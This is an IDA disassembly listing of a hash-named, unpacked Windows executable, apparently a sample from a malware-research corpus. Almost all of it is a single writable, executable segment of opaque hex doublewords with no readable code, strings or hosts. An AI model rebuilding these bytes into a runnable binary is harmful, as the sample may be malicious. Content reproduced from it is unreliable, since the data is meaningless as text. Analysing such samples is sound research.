;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	F530AE0FFFAAEF25B4109F614F206F15

; File Name   :	u:\work\f530ae0fffaaef25b4109f614f206f15_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00112000 (1122304.)
; Section size in file		: 00112000 (1122304.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 2D507051h, 0CB49C91Bh, 0F0C1E8F8h, 0C516E70Ch, 0F93BEB4Fh
		dd 0D7D01E0Eh, 0CC95F225h, 3506F916h, 0C4B14E0Ch, 1D206063h
		dd 7A1A64AEh, 0AAA3CDCBh, 0E558A03Fh, 0EC4DE625h, 0F905134h
		dd 0F706F5C0h, 0F4252B2Fh, 823F4E0Ch, 1FBBC026h, 4146BEE6h
		dd 0EC806416h, 0F8CFBE25h, 0C32AAECEh, 0BCE1E653h, 0CA2C5AA0h
		dd 36E2CD97h, 12F0F680h, 0EBD0DC18h, 9330BB4Dh,	0E60CFE38h
		dd 0C2606425h, 8B21516h, 0CD6F1A22h, 0A0D896DDh, 0C51B7115h
		dd 0FA4FFF3Eh, 0A8B6033Ch, 0ECA56614h, 3727AAE9h, 0A8B8A0C9h
		dd 0F49DCDA1h, 422D309Ch, 0ED05D616h, 523DD1Bh,	0EB42CDDFh
		dd 0B9FBCFFCh, 4E0D0F18h, 4221D390h, 0EB3386D5h, 7027F7EFh
		dd 0D819FE8Fh, 4D7C009Ch, 4DB60216h, 0C8A6FA37h, 0AAE2B62Ch
		dd 4017D3D4h, 4CAB3A25h, 81BE016h, 913C7522h, 0F91D7A3Ch
		dd 8121894Fh, 0B8DAE015h, 0F9FE595h, 4DD40295h,	0C9A694F4h
		dd 0AB83BB95h, 0E3976434h, 0C4B3AC2Eh, 0FE197116h, 0B839D716h
		dd 75142157h, 0AB96F7FCh, 553F7A18h, 75213F25h,	0F89B4EC0h
		dd 0E527C615h, 67F7DE5Eh, 0FD3998B9h, 92CD64A3h, 0A9FF5222h
		dd 0EB1DF718h, 0C3200CD8h, 5329FA5Dh, 955CD903h, 4DAFF024h
		dd 79A95516h, 142ACEDAh, 0AF15E59Bh, 0D2EAD34Bh, 0AC9FA116h
		dd 0F95BBCE3h, 0DA359854h, 17264BE9h, 44B89F95h, 437DE3BEh
		dd 42585016h, 627BC634h, 0C2FD83FBh, 91B2EF0Bh,	982A239Dh
		dd 8770EB49h, 848403CBh, 4B2068CFh, 0BF94EFCDh,	0C2F4D825h
		dd 16DA8F49h, 0A7BF65E7h, 0EB0D3C2Fh, 852000ADh, 0D8207BE6h
		dd 4B01E8F2h, 4DB76484h, 0F89C9ADAh, 0F438429Fh, 9E01FC80h
		dd 0E4FFEB83h, 0EB84CD9Fh, 48FD5796h, 2F2D5D3Fh, 2E13BC42h
		dd 861B05F0h, 0A0103016h, 9ADAF6A6h, 4A505FBh, 0AC26F194h
		dd 0E4D8E570h, 4213DF34h, 5CA53418h, 9116BC15h,	505DE6FEh
		dd 0A159DE91h, 0FE5EDD2Eh, 0ECFEC1CAh, 48D98967h, 6282B2Fh
		dd 94A7F825h, 0C5587AF4h, 9AA6D35Ch, 1F27A401h,	0F439B3E9h
		dd 0AE540195h, 0CDFAAFB6h, 0FDCE3D99h, 5D264DC3h, 9BED67BFh
		dd 0E883C4DEh, 44CAA6CFh, 761A877Dh, 0E2F65AB1h, 801EBDBh
		dd 72B1C79Fh, 4203951Ch, 9AE90A18h, 0C2AEBDDFh,	0ED21E9B0h
		dd 6B3AF925h, 5C84FECBh, 0F8BBA83Fh, 0E478DD39h, 5C260672h
		dd 0C938643Ah, 9591B5EDh, 417B361Ch, 0F6477B16h, 22203DDCh
		dd 7F2D9842h, 7F4098C2h, 0C530539Bh, 0C2A561F5h, 8039EEDEh
		dd 0AAE862C9h, 0CDBE9D91h, 10B3F229h, 6C3066C8h, 0A6207048h
		dd 0A9D7EED2h, 26DCFE41h, 0C263603Ch, 0F6A68631h, 94267C5Ah
		dd 40C874EEh, 0DE27EB8Ah, 3B3D00E1h, 0E704DE2Ah, 0F99EC2Bh
		dd 0B311CC8h, 0FC21C962h, 29266A59h, 6CB2972Ch,	6BC7EB91h
		dd 0BDA80B16h, 0F8824011h, 0C17D77F1h, 0F42D90BAh, 0C12561A4h
		dd 0B45AF189h, 902FE5B4h, 0F0D92329h, 0BA019D24h, 2F024612h
		dd 3DE8F191h, 0E0B2EBDCh, 0C29D33EDh, 581B4476h, 0C500CDBDh
		dd 946AF4Fh, 73ABCA0Ah,	0F9086B34h, 9AFF943Fh, 2BC6D95h
		dd 9027F8A4h, 0C8C9C03Ah, 41A1ED34h, 0F6F401C0h, 0D883DC57h
		dd 96278DEEh, 0C339E8ECh, 9B0CE5DCh, 42AAF162h,	0FDC74C0h
		dd 0D3381A22h, 30D92E81h, 5E265C75h, 0FD5FA712h, 0C55DD319h
		dd 0DA3E8854h, 0EB03DDA2h, 84A8A033h, 23304BC8h, 0ECA50CDDh
		dd 0D827E206h, 0B50FF8EFh, 6E06FEFAh, 0F70F4F37h, 0E5365CFFh
		dd 6E27B440h, 0DB0E6EAAh, 0A984182Fh, 9209CF86h, 0C4FBCD16h
		dd 0EC21EDB2h, 38F79913h, 0B2F2989Fh, 0C2B05591h, 0ED36BC5Bh
		dd 0B18A985Ch, 9F0041A9h, 50C0C789h, 0E8342D95h, 0B1B0C8A3h
		dd 47DD6E6Eh, 0F729DA4Fh, 0B69EA118h, 53CBDC62h, 0C95AE29Ch
		dd 0E01164DBh, 94B285E8h, 0C266095Bh, 0C17FE02Ch, 23DBDACCh
		dd 9AE0F191h, 0D1FEE3F2h, 4FDAA922h, 97E0DC9Eh,	5D262FEFh
		dd 4D9EFC98h, 0B1C2D19Dh, 0F6A6A994h, 761A0428h, 0F3256E44h
		dd 0A95CF1A6h, 0EB91D41Fh, 0DA1E46Bh, 0B1CE8F8Ah, 0F31EA36Dh
		dd 0F641BC85h, 0D79058CEh, 0AB3840C9h, 369ECDDFh, 0B713EC1Ch
		dd 0E920E71Ch, 0A652FE28h, 3333FB2Dh, 56CCDED3h, 0EBA0702Fh
		dd 0EF3E3131h, 4439E820h, 0EB65AF6Fh, 298AEF03h, 8B5CAE33h
		dd 0A739B8E3h, 4A2F2964h, 30E3A09Ch, 0F798EB99h, 9B1E0C25h
		dd 82DABF3Dh, 0A33C988Fh, 4E5D5F95h, 1ED868E1h,	7427FC06h
		dd 8065DDEEh, 59694C24h, 0C005BE22h, 0BD1D12C2h, 7A39E2EEh
		dd 1715FC8Ch, 7EA8DEBEh, 0EF08EC2Fh, 12A6B93Dh,	89FCF156h
		dd 89A98FC9h, 0C2E25511h, 0DBEC70AAh, 2DE17EE6h, 4D3C98E2h
		dd 0C4B9C39Eh, 0CD29A253h, 9D0EEB00h, 5CB3E82Bh, 59C0F722h
		dd 0FDECDC1Ch, 632609CDh, 0ED1B67EBh, 37FF9376h, 0C4C104DCh
		dd 0E1E45A16h, 0B11D964Fh, 0DC492255h, 7BC8CE1Ch, 836F4316h
		dd 9B61B6C4h, 670FEEE9h, 0EBF7469Ch, 866DEFBEh,	0E5225135h
		dd 7F57CC76h, 0ABD1E03Dh, 4C9EE51Fh, 4F8C49E1h,	8E27D98Fh
		dd 5DD9CB10h, 734FE355h, 7534EB4Bh, 7FF9AF34h, 0ECFDFD24h
		dd 0FD0A8E62h, 0D9271DF7h, 86292030h, 9D77E5A1h, 0D49CF14Bh
		dd 0AC71FF16h, 0E78254DFh, 0C41D8C5Ah, 7A25A995h, 0E209653Fh
		dd 0CB81EE16h, 0C2F7D311h, 41F86D24h, 1727EE19h, 0E3A6D8A3h
		dd 1C6DE61Bh, 72E0C8E6h, 283E4628h, 0F73D012Bh,	321FCA4Ch
		dd 0BEC9C29Ah, 0B8D0DF0Ch, 0F97C542Eh, 85D64916h, 7027893Ch
		dd 78D9EFA6h, 0CB39A0CCh, 0F939FC1Eh, 0F92E75C7h, 0FF12A35Ch
		dd 0F477C79Eh, 0C514DAEAh, 0C2AF699Ch, 0BE996FB1h, 0C42C6A85h
		dd 4844332Ch, 71D9091Ch, 7F005E16h, 0C2D96D43h,	79A2E434h
		dd 0FC1D8195h, 0CA4C422Ch, 4128199h, 885C8589h,	0E4867BDBh
		dd 422793CCh, 2F0E6CE2h, 0EB80FBE7h, 0F431A435h, 2B30D485h
		dd 0C3E4FDDAh, 0E7A9D425h, 24C5D16h, 8BA16222h,	0C2672A17h
		dd 65ADAF8h, 0F4466AD0h, 0C47F5A46h, 282A672Ch,	6F30E59Dh
		dd 4CB09284h, 0FCE9FF20h, 4AE194E5h, 1039803Fh,	44F9ED02h
		dd 0C4A26C56h, 0C2AA4BA2h, 88A5FFB7h, 2802E008h, 0C47C161Ch
		dd 9AAF613Bh, 0B19BFE7Ch, 0AF01C3DFh, 0C740F226h, 0C4EFB41Ch
		dd 1B2F3CF5h, 0F01965C9h, 0AC48664Fh, 4130DD11h, 0C1864822h
		dd 98E04F87h, 6A0152C9h, 7EA7FEA8h, 211D7AD2h, 921B396Ch
		dd 0EF00E502h, 4E40CDF2h, 7BAAE43Ah, 3AA7FF95h,	0A424EEEFh
		dd 0BB99FF15h, 0BB4E5D2Fh, 8C3B9E62h, 52EC73AEh, 2A42E61Ch
		dd 0ECF3D625h, 0C299DB1Bh, 2178E05Ch, 909A67D6h, 0E4D0E8ECh
		dd 802C39Ah, 9AD70922h,	0ECF6DE3Ch, 0C2A55083h,	0BA3802C4h
		dd 16DA8799h, 0AEF89910h, 8EE8EB91h, 4184746Dh,	48323D76h
		dd 0F4DAC6A3h, 0B8656CC9h, 5EB0DA28h, 0D13DC4BFh, 460A9F2Fh
		dd 4E0FADA6h, 1CDA1B63h, 0E11D676Dh, 0EA83F79Dh, 211426CAh
		dd 0FD308C1Ch, 430FD4DDh, 0D83A82F0h, 0D3E1AEF4h, 0E856251Ch
		dd 434FE3Ah, 212DC48Bh,	658ADEA0h, 0FEAC709Ch, 3315E177h
		dd 0D2AEB1C9h, 0C461A1D3h, 692A8C27h, 0B6A2F1B1h, 0C4C7EB54h
		dd 3F1A8AF5h, 0C288BE7Ch, 1F3D62F1h, 0AB2F2A95h, 0EA05EC3Fh
		dd 219A881Ch, 0F721FE25h, 0B2985673h, 59A8B8A4h, 0E2E398E4h
		dd 0CEFD695h, 4194C16h,	52DAA4CDh, 98265814h, 19B505D6h
		dd 67AB44C6h, 9160699Bh, 7EA0E39Fh, 8DFAF030h, 3B386D21h
		dd 225367A8h, 0E05D3687h, 66A6B895h, 6978AFD5h,	62DA4B7h
		dd 8BF14089h, 0E8506826h, 34F6EB84h, 3F669B29h,	8C0BA216h
		dd 0CDF3DEECh, 796C420h
		dd 751E7DCBh, 0F7B4C016h, 7F5A17F2h, 1931BD16h,	0C2A53D02h
		dd 0C933D287h, 0F5A69F41h, 1C87F1AAh, 737CE483h, 0FDA18F8Eh
		dd 9BCCFEC2h, 1432303Ah, 10025FFh, 443AF19Ah, 0C4E4CE1Ch
		dd 62A57DC3h, 0CA2DA6F4h, 0D6A6BC99h, 19E8F1E5h, 91ED9860h
		dd 0B272C091h, 0C2E4BB96h, 0F4D51CBBh, 0C606D82Eh, 9956968h
		dd 8CD58F16h, 8E3BE0F0h, 8B2C5D1Bh, 8574DCA1h, 0FFE637D7h
		dd 36DF2E79h, 0DC309F7Fh, 0D3A1481h, 0E4FAA084h, 0AFDA9D16h
		dd 652626E7h, 0F4C6EAD6h, 782A4948h, 44602F18h,	0F6DA9290h
		dd 6AAF3115h, 6964182Ch, 0F529F19Eh, 0C55B0C86h, 0CC20EBB2h
		dd 3C7AD07Fh, 0EA12CD4Bh, 0C767C018h, 0FEFEFB16h, 0E21D6467h
		dd 751A6C55h, 9F11BEE9h, 0EE2188F0h, 0B266D61h,	0CC04BF2Ch
		dd 0FBAAE81Ch, 9BC82F19h, 0EC0F1B82h, 0E09C119Ch, 0EB62C172h
		dd 0F40B4609h, 0F5C8AB1Bh, 8876D9C9h, 0EE32CDA6h, 9101C42Fh
		dd 6F4AE540h, 0A5DFCD91h, 9A1C2316h, 0E424B673h, 7727A469h
		dd 0CC30A349h, 89EDB5FDh, 891290E7h, 7630F966h,	6941FCD1h
		dd 0AC1ED443h, 743F6B5Ah, 4239FD1Fh, 79F92E2Dh,	46FE652Eh
		dd 0EBAB6316h, 0CB6B47A3h, 0A8C3B0A5h, 0DF8D95Ch, 0B0FD2BD1h
		dd 0C9DAE118h, 0C329BBD6h, 748EFECBh, 11F5709Dh, 0C2BBF149h
		dd 8A2D6EC9h, 3E1E8A60h, 98CFDCCFh, 89E702C9h, 0BA19DA84h
		dd 82E22B1Dh, 4E102695h, 65D9F678h, 33C683Fh, 83FB172Eh
		dd 82C03425h, 640C516h,	0FC418A34h, 50FC53AFh, 89CE99F0h
		dd 4EBEED8Ch, 0EFBDF2DFh, 3A1DD184h, 45C3BD16h,	0FEAD729h
		dd 5D2F1C18h, 0F018A0D7h, 981F52B6h, 8CE1FF21h,	5159A528h
		dd 0FB43592Ah, 50F59837h, 971AEFEFh, 97136E1Ch,	89C9DCF3h
		dd 6A1EBCF7h, 0C2C0BBE2h, 0B8CF1C77h, 8FB2A6A3h, 7BF5F615h
		dd 4488602Bh, 8D42A787h, 0CAA9D9A2h, 0FE103F19h, 0EE27E340h
		dd 0BA0F9938h, 5B14D949h, 38A117D4h, 409B7FE9h,	0ECDFD4D2h
		dd 0FD42F357h, 0F792CDE6h, 2DA7E554h, 8295B0Fh,	0F9199034h
		dd 81BB352Fh, 8BDE905Ah, 0C635A5F6h, 0F9CC8DFh,	90B27E16h
		dd 0EC9D933Fh, 8361B6F4h, 966D6F59h, 0C708EFD5h, 6B3C4595h
		dd 0C2EAE091h, 2FC1DC86h, 817C60C8h, 4A6D99Fh, 79C8BA1Eh
		dd 4F994F16h, 0DB2DAB80h, 0BB21FB3Fh, 0BEE4C4B6h, 0C461C7CEh
		dd 0E826DD34h, 0AC1F0322h, 613DFC87h, 7502E854h, 8286622h
		dd 0C31D8A42h, 223A9FDDh, 6F2DABEEh, 0E415C453h, 0DFF5DF1Bh
		dd 1303928h, 0B020EF5Eh, 5CF3CBFFh, 824EF4CBh, 8833B5E6h
		dd 0A93E36D6h, 0B7AD6C2Fh, 0C26CA61Dh, 50CCE59Ch, 64FD88E5h
		dd 0CC5D7522h, 841EF9AAh, 0C525A787h, 8A3898A9h, 883F4E28h
		dd 6B321183h, 7A33ECCCh, 8FE8A0AFh, 0F8D78602h,	0A8C0FC3Ch
		dd 282BF2ADh, 0EFE3E585h, 0A21032C8h, 4D5EA119h, 9B90E04Ah
		dd 949467C0h, 0C4A1C912h, 10200AEEh, 0ECF66AD2h, 6FD569Ch
		dd 4123E591h, 3FA1E722h, 53301C1Eh, 0EBEF5D1Dh,	83F6AD6h
		dd 8D61FE8Fh, 0F6BD253Ch, 420DC9Ah, 1130AE87h, 0A2AACFF2h
		dd 0C4DAAE16h, 4D20DBE3h, 0E73D6F9Ch, 2ED201CBh, 0A5D8FEE6h
		dd 0F8A6FC3Ah, 62E7F999h, 9D3C1A1Ch, 4781F7B0h,	0C5C0D534h
		dd 0ED121A25h, 0D8326Fh, 9DB5DB37h, 0EAE2E59Eh,	5BA1B2CCh
		dd 0BDAF881Eh, 0F71B1509h, 0C01E5F3h, 0E2ADC751h, 9CD11595h
		dd 411DA591h, 0F849BECBh, 0B23D6F7Ch, 7CCBCA95h, 6970EE92h
		dd 0BF1E8363h, 261911E5h, 0E03825DEh, 8E58391Ch, 0ABEFC6Ch
		dd 904AC23Ch, 0C2AA3547h, 0E5476F78h, 8E2C5145h, 0AD0B6579h
		dd 0EA90AFA6h, 0F73DA051h, 4BDB7D7Ah, 311BF9B8h, 0D97AE429h
		dd 0EB1E1DD5h, 4E1154C3h, 0A9A544E4h, 8943E560h, 6CA04663h
		dd 0D1BEFC1Fh, 0B2E3BE7Dh, 0F83D2DA6h, 89806C69h, 0AE935527h
		dd 41F9A995h, 0C127AB3Fh, 894A84C9h, 9898E29h, 4DFB7315h
		dd 29D908B4h, 44B26B3Fh, 43701690h, 8591AC22h, 0F3262525h
		dd 0EBCB675Fh, 0E891C22Ah, 0C72664E3h, 141FED7Ah, 0ED05FA84h
		dd 205024DFh, 0D6C73043h, 400CF4F5h, 74FEE2CEh,	71E2D61Ch
		dd 0C230FB94h, 0C9F1048Ch, 4A296611h, 0B9238D29h, 4CEBF2DBh
		dd 0F0C175C9h, 0D70FDF99h, 88D21F43h, 51D859C6h, 5A58E529h
		dd 0FFAD6427h, 0BFE54F46h, 4C7D5E8Eh, 571C8B0Ch, 0CBA7CF4Ch
		dd 7D418BC1h, 1A1AE12Ah, 7D7AE4FDh, 21991163h, 0E91EDC35h
		dd 41995977h, 0FD1E7085h, 9A7F5F75h, 882EE92Dh,	2E501A4Bh
		dd 0F5043C5Bh, 0E1B2623Dh, 81873A4h, 0CE5F98E5h, 51A40B3Eh
		dd 20DDC18Ah, 0CE17A07Bh, 35B638CDh, 0C227A419h, 0C0E1ABE1h
		dd 1E7AC021h, 8099662Eh, 3748223Dh, 86336B6Ch, 62ADCACAh
		dd 82EAAB1Eh, 32563910h, 0E861E2Fh, 2B549F6Ch, 63CF65ADh
		dd 0EA384C96h, 0BA345881h, 4BE0F852h, 68D83853h, 0D92B59B9h
		dd 32268CACh, 56097B35h, 6C765DA3h, 0D536D0D4h,	0C48F3934h
		dd 3F62E11Ch, 433E703Ch, 12C50B91h, 0B69C9D26h,	0BAD0B3E3h
		dd 949EE810h, 0EFA15E1Fh, 4324465Dh, 0C298E7CCh, 2442AF0Ch
		dd 55276FBDh, 24A7AADCh, 463E8C75h, 33C1F13Fh, 0CCE36423h
		dd 0CD473117h, 0CB18AF1Fh, 2E58F11Dh, 4026E05Dh, 59CE9A6h
		dd 16070B2Ah, 857EDA1Dh, 0C5B9411Ah, 74A61030h,	0C5EF70E2h
		dd 6638D5FBh, 171BE09Dh, 557A1C15h, 0E65018EFh,	0A61E390Bh
		dd 0CEDEA02Eh, 7C00B075h, 8A7A18C5h, 757FFDDDh,	0CC12DEADh
		dd 0C65FC493h, 0E57AE6CCh, 0C5A48C11h, 0E313916h, 2E253D43h
		dd 0CA5BCFA1h, 2DC2E425h, 0C9E2D98Bh, 2C413913h, 0C708682Fh
		dd 0C620112Ch, 49A6D56Fh, 0E322DD0Dh, 8B21BF08h, 0CC31D10Dh
		dd 5A07591Fh, 0F5D910B5h, 462FF440h, 0C822980Dh, 0F52ECF4Bh
		dd 8722EF0Dh, 0D631EBC4h, 9CAAE11Fh, 0C452F01Bh, 0FF08301Dh
		dd 0C621112Ch, 0FE2A1A37h, 0C5D9109Dh, 4629F4FEh, 1222980Dh
		dd 0D5A2F721h, 0CE5DE095h, 0D637D891h, 47E4E0C9h, 0BB7BF7A5h
		dd 0F1096A1Dh, 36253F75h, 0D634D893h, 0ED3F9CFFh, 8A33E114h
		dd 8DA48F1Dh, 0C61E112Dh, 0F5196246h, 0CA22DD0Dh, 0F43EE6CBh
		dd 8F22FF0Dh, 0D63FFCD0h, 781BE12Fh, 4D5160FFh,	0E935321Dh
		dd 0C5DA109Dh, 8DA6E635h, 0C61E112Bh, 0EEE962FCh, 0C575F88Dh
		dd 0EE5971CAh, 0FE9775h, 0AC7AC7FDh, 0CD57D98Bh, 0ABE83937h
		dd 0E302E534h, 0EB19DD75h, 0F95144DAh, 493FE0C4h, 0EC7AC389h
		dd 0E0094E3Fh, 0EB29DD75h, 2E039C6Ch, 0C123C014h, 2E22C125h
		dd 90D93404h, 2C7ACF6Ch, 0C5A48611h, 0D68393Fh,	2E0E3FA4h
		dd 479BE454h, 1C7ACD1Dh, 98700B55h, 0EB254775h,	985AE2CBh
		dd 84FD7775h, 0D610C9FFh, 0A5D3E129h, 0B86738C5h, 0E578A05Bh
		dd 13ED38C4h, 0FB1CE21Dh, 637AD715h, 0E62DA9EFh, 7C1E38C6h
		dd 542A721Ch, 0E8A738C1h, 0CDBB5F96h, 25F0C04Ah, 883ADDEFh
		dd 0B7B53809h, 4B5C76FAh, 329FE049h, 0F5676F3Dh, 7BAA9CB6h
		dd 4042C0AEh, 0EAAEEBD3h, 556C47DDh, 0C6BE2296h, 4BBF1D4Bh
		dd 83CF7701h, 160769EBh, 0C99A5F8Ah, 0ABD6F09h,	0AE950DEh
		dd 0E1FF639Fh, 8334EF5Ah, 0C636C698h, 190FCDD7h, 7AFC0412h
		dd 0D61915F7h, 0DAD2DC46h, 9AC9E09Eh, 0ECDE1015h, 45A62CA4h
		dd 41F2714Bh, 5069F3E9h, 5631F103h, 7B2AFC81h, 381F350Dh
		dd 3F9DEC2Ch, 0A5A10E37h, 0A5D9FDB6h, 8BDD3D45h, 0C5B926D4h
		dd 8AF6314h, 0C5AAEC35h, 0CBDD362Eh, 6D0B9875h,	5E2DF848h
		dd 1BC5FE1Dh, 4022B8ADh, 853974BBh, 8E22A9E5h, 8D7A1A6Ch
		dd 45629219h, 8858546Dh
		dd 533F7C99h, 3022EE4Ah, 7782358Bh, 17778B17h, 6677BA7Dh
		dd 32ECE663h, 201B0F03h, 9859F2D2h, 8214F666h, 4139942Eh
		dd 9546F6A2h, 5C72FF62h, 4A90E645h, 3F6AD871h, 0C97E86FDh
		dd 8646E775h, 997963EAh, 24511E48h, 3CDE38DDh, 0FD6F06BFh
		dd 8C991288h, 42AB095h,	0B3AB29A7h, 1CE1A06Dh, 89A1C025h
		dd 7F6DCC29h, 0D8AA21D6h, 0B25D5126h, 482CA75h,	0C2CD6A2Dh
		dd 0C7B71DEBh, 0C45924AAh, 0EA32ACB6h, 2DE0EBD5h, 0E23FAE3Dh
		dd 8EDA1F9Dh, 4FA5A089h, 447322B8h, 0E1F03EDEh,	0B63FA117h
		dd 0F935ED20h, 3ADEE1A6h, 9FA9BB0Ch, 8558ECCDh,	81693C75h
		dd 0D431D9C3h, 253F161Eh, 0EC79B69Bh, 97E6AEDDh, 92E984Bh
		dd 71A0A808h, 0FB206D0Eh, 54B13472h, 87EF6A70h,	0CE5FC835h
		dd 6EAE9CB0h, 8D9C042Ch, 8A9CA2C5h, 0CFACD05Dh,	7C583CB4h
		dd 0F1B2F7A4h, 3E1CFD77h, 0B1311CC9h, 8BDDE45Bh, 3A495D11h
		dd 5EB8AC1h, 6D2CCEA3h,	0C4BB7710h, 0DE5ADC71h,	4DB329DBh
		dd 0F623DD08h, 6F278F9Bh, 87B8EC71h, 0FB01F86Fh, 0CE0E9D2Eh
		dd 0C140E71Ch, 4542FFB7h, 0BBBB66D1h, 0CF9AC09Ch, 5A6C53CFh
		dd 88417FAAh, 3FE0C8E5h, 0C00721CEh, 7422AFA7h,	4A150711h
		dd 0F618B4D9h, 0F45BDE93h, 0C67898FEh, 0C7A19C10h, 0EE6264ACh
		dd 7859C659h, 0F47CEFDEh, 8C20ECC1h, 0ED21187Fh, 7C7C1D19h
		dd 8A9EC910h, 8C1F265Fh, 0E5A01CC9h, 9D75680Eh,	381F2715h
		dd 0CCA2F52Eh, 0DE6D3F89h, 4376DEEEh, 0D3C2D881h, 73D56D53h
		dd 3C291925h, 6ED018C5h, 71276ED5h, 0A268EE55h,	8E0EAE21h
		dd 5F674E95h, 9E1D2855h, 8DB4D72Fh, 8530E5CFh, 0C714288Ch
		dd 0DB60051Dh, 8CA16CF7h, 0FA13FD10h, 0AD94E129h, 0F51ADC6Dh
		dd 0B20B2B77h, 0D51DE495h, 94F6939h, 723830CAh,	0AA375CDDh
		dd 11EF6A57h, 0AD6C7049h, 1F319D10h, 0C171985Eh, 83E4AEE4h
		dd 6A64211Fh, 4A2FD19h,	86DBE449h, 6E7629BFh, 0F11BFBE0h
		dd 0BD19FDE8h, 0F507AF35h, 972EE281h, 99A661ECh, 0F777A831h
		dd 0BFAEE1E1h, 0A7F2ECh, 0C45AA319h, 0DB800CF5h, 0ABD28B59h
		dd 3CCEAAD0h, 0AC1EE11Ch, 2E24F80Eh, 0A36BEBE8h, 960D0C2Dh
		dd 0C0884741h, 0E8723925h, 0F0264609h, 9752191Dh, 0CDB4009Dh
		dd 905AA293h, 8E26DC56h, 843B5CC1h, 0AFD21A90h,	0ABE42D45h
		dd 35270A1Dh, 4E5B064Ch, 0C8EB67CCh, 4C5D24D1h,	0E2EEAA6Ch
		dd 4B936930h, 4C12EA56h, 436B170Dh, 8BE648CDh, 21DE7098h
		dd 0B8EFEE81h, 7DCD00DBh, 2C92F560h, 0E3F363DAh, 32150F7h
		dd 0FA3E8494h, 6A8D3929h, 4159668Dh, 0D4D28783h, 0CACDFD04h
		dd 225D05DEh, 90AAEBCBh, 0D6792211h, 0B5DCCF65h, 15DEBD99h
		dd 28B4E5F9h, 2C07A024h, 82A56C11h, 0EC4658FEh,	0C9FA9F4Ch
		dd 75AFDCCBh, 74C47F53h, 2E5E1F4Fh, 0E060245Ch,	600E1D4Dh
		dd 4E2A5C9h, 936BF56Fh,	802F53Ch, 0FB51FBD5h, 9A697275h
		dd 0EB38DC6Dh, 3F0BCD99h, 6F55FD57h, 0F9D020ABh, 0C4B3F38Ch
		dd 6A996E4Ah, 0AE1022BAh, 8F592C27h, 60E1F74Dh,	0CBB48C3Bh
		dd 70F755EEh, 451873Dh,	0D0B56755h, 62E59E57h, 0F3D4F95Bh
		dd 49C07F57h, 0A504390Eh, 2E257495h, 0A998BA34h, 182CADDCh
		dd 0E2AA63FCh, 1A71B76h, 7E64E426h, 0FEA484B2h,	15673F97h
		dd 0F391D6C8h, 31109C12h, 0D518B269h, 8DBD4729h, 0C73424D3h
		dd 0BAEA84A6h, 485EEB3h, 425D1794h, 72B0A839h, 0B9625F1Ch
		dd 0A9056CFh, 0EECC5088h, 0D6296E2Dh, 432DAA90h, 0E9BD6751h
		dd 0C8104CF6h, 0FE9D9B34h, 8886B244h, 0D56D6413h, 1B5E8D2Eh
		dd 0D42E060Ch, 0F8B363Fh, 649D7ECFh, 3264F154h,	0D4B1BD12h
		dd 0EEACE318h, 8A8933B9h, 20B6F913h, 1C4B7656h,	8F5A1B96h
		dd 8E0C8DB7h, 0B2EE184h, 49E7BA75h, 82068E88h, 30E1DC89h
		dd 14DD1847h, 0D4DA1A9Dh, 0C88D4ED4h, 802E1C60h, 4DAADB1Ah
		dd 20DD9924h, 0B9EAFC1Ch, 3A2C99EFh, 0FA1974CBh, 39355C02h
		dd 13C75614h, 0AD988157h, 0ABB27A95h, 0C2E00E75h, 9746502Fh
		dd 394CA12Ch, 0FE3FFC3Bh, 0C7A188Fh, 0CD8EA15Bh, 0F9FC58BEh
		dd 3FF47D2Ch, 1A9E13Fh,	0C8A2FF85h, 83A09CEAh, 8C9DB522h
		dd 0C2A06865h, 767AE78Bh, 0B586FB2h, 0EB943917h, 53C4B4D8h
		dd 0BFF5DE57h, 0AFF08CC8h, 93D8FAD0h, 87970D1h,	3F5DEDF8h
		dd 0F62F083h, 0B97AAB1Dh, 0C1E45998h, 0C4460DF8h, 0F4A6E42Ah
		dd 78B026CAh, 0CC1CE236h, 0F147C78Ah, 160770C8h, 0CECDAA9Fh
		dd 4A9BAC75h, 0FBCC1B76h, 18A373F6h, 0F27DD7E7h, 9D1B58Eh
		dd 1423F495h, 0F62DFC15h, 0BEEC10FAh, 0AB881796h, 0A75AE9BCh
		dd 5A3BD254h, 425BE116h, 0ECE2E83h, 8EA9FC4Bh, 0A9DBDA9Dh
		dd 9FD0F629h, 899C27CFh, 8361D815h, 0EA00F3FCh,	0C990E2EDh
		dd 6FC4C41Bh, 0F32D85D2h, 163F592Ah, 0ACDA672Dh, 26E1CE1h
		dd 8755FF1Bh, 0E00B037h, 0EB0A910Dh, 0B812A802h, 6B4056BFh
		dd 45E7E434h, 0BF675086h, 0C6596D4Eh, 66DD5CA2h, 0D4AAED56h
		dd 664AD47h, 8DA7E50Bh,	0D4D6DF37h, 75FBE0DCh, 0C5BD1A7Bh
		dd 0FD86D36Dh, 24693FDCh, 0EE6B9602h, 3F226818h, 963062C8h
		dd 9290C541h, 0C53B8A4Ch, 4D7AE044h, 923A9D5Dh,	0B759F3AEh
		dd 6F41FBDh, 0ED1CA7FDh, 435ACA99h, 45FDC39Ah, 0E951B495h
		dd 63CACE24h, 41369D18h, 466B92F3h, 0DD79695Dh,	0ABF37257h
		dd 921B5B7Dh, 0AC67CEDDh, 0F1C2D05h, 0CB7FD095h, 4C283F40h
		dd 46AF6D93h, 311123DDh, 2CABA8DCh, 42605DCCh, 0BBF0C3F1h
		dd 673DE3F6h, 0F3BBD83Fh, 0F8CC994Ch, 439F71Eh,	3BE6FD81h
		dd 439E9A88h, 252CA268h, 0AF6E3A39h, 0AF8B5C8Dh, 2E99CB1Bh
		dd 583D828Ch, 19675916h, 0BC493AA9h, 5E386B0Ch,	0DBF54923h
		dd 0A99EA9A3h, 8129EC2h, 0E56CA996h, 0EE661C2Fh, 4DD6A221h
